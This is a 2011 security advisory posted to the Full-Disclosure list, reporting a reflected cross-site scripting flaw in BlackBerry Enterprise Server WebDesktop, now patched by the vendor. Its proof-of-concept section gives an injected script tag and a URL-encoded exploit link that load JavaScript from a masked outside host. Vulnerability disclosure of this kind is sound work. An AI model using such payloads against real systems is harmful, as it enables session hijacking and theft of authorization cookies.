[Full-disclosure] CYBSEC Advisory 2011 0401 Cross-Site Scripting (XSS) in Blackberry WebDesktop

["CYBSEC Labs" <cybseclabs@xxxxxxxxxx>]

Advisory Name: Cross-Site Scripting (XSS) in Blackberry WebDesktop

Internal Cybsec Advisory Id: 2011-0401

Vulnerability Class: Cross-Site Scripting (XSS)

Release Date: 12/04/2011

Affected Applications: 
. BlackBerry Enterprise Server Express versions 5.0.1 and 5.0.2 for Microsoft 
Exchange
. BlackBerry Enterprise Server Express version 5.0.2 for IBM Lotus Domino
. BlackBerry Enterprise Server versions 5.0.0 through 5.0.3 for Microsoft 
Exchange and IBM Lotus Domino
. BlackBerry Enterprise Server version 5.0.1 for Novell GroupWise

Affected Platforms: Blackberry Enterprise Server

Local / Remote: Remote 

Severity: Medium - CVSS: 3.5 (AV:N/AC:M/Au:S/C:P/I:N/A:N)

Researcher: Ivan Huertas 

Vendor Status: Patched

Reference to Vulnerability Disclosure Policy: 
http://www.cybsec.com/vulnerability_policy.pdf

Vulnerability Description:

A Cross Site Scripting vulnerability was found in Blackberry WebDektop, because 
the application fails to sanitize user-supplied input. The vulnerability can be 
triggered if a logged user follows a specially crafted link, executing 
malicious Javascript code on the user's browser.

Proof of Concept: 

Inserting <SCRIPT SRC=http://xxx.xxx.x.xx/CYB.JS/> in the parameter 
displayErrorMessage would execute the code included in the javascript file 
CYB.JS.

https://xxx.xxx.x.xxx:3443/webdesktop/app?page=pages/advanced/ManageDevices&service=page&displayErrorMessage=%3CSCRIPT%20SRC%3d%22http%3a%2f%2fxxx.xxx.xxx.xx%2fCYB.JS%22%2f%3E

Impact:

An affected user may unintentionally execute scripts or actions written by an 
attacker. In addition, an attacker may obtain authorization cookies that would 
allow him to gain unauthorized access to the application.

Solution:

Install the latest release with the instructions included in 
http://blackberry.com/btsc/KB26296

Vendor Response:

2011-22-02 - Vulnerability was identified
2011-23-02 - Vendor contacted
2011-20-03 - Vendor confirmed vulnerability
2011-12-04 - Vendor released fixed version
2011-12-04 - Vulnerability published

Contact Information:

For more information regarding the vulnerability feel free to contact the 
researcher at 
ihuertas <at> cybsec <dot> com

About CYBSEC S.A. Security Systems 

Since 1996, CYBSEC is engaged exclusively in rendering professional services 
specialized in Information Security. Their area of services covers Latin 
America, Spain and over 250 customers are a proof of their professional life.

To keep objectivity, CYBSEC S.A. does not represent, neither sell, nor is 
associated with other software and/or hardware provider companies. 

Our services are strictly focused on Information Security, protecting our 
clients from emerging security threats, maintaining their IT deployments 
available, safe, and reliable. 

Beyond professional services, CYBSEC is continuously researching new defense 
and attack techniques and contributing with the security community with high 
quality information exchange. 

For more information, please visit www.cybsec.com 
(c) 2011 - CYBSEC S.A. Security Systems

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/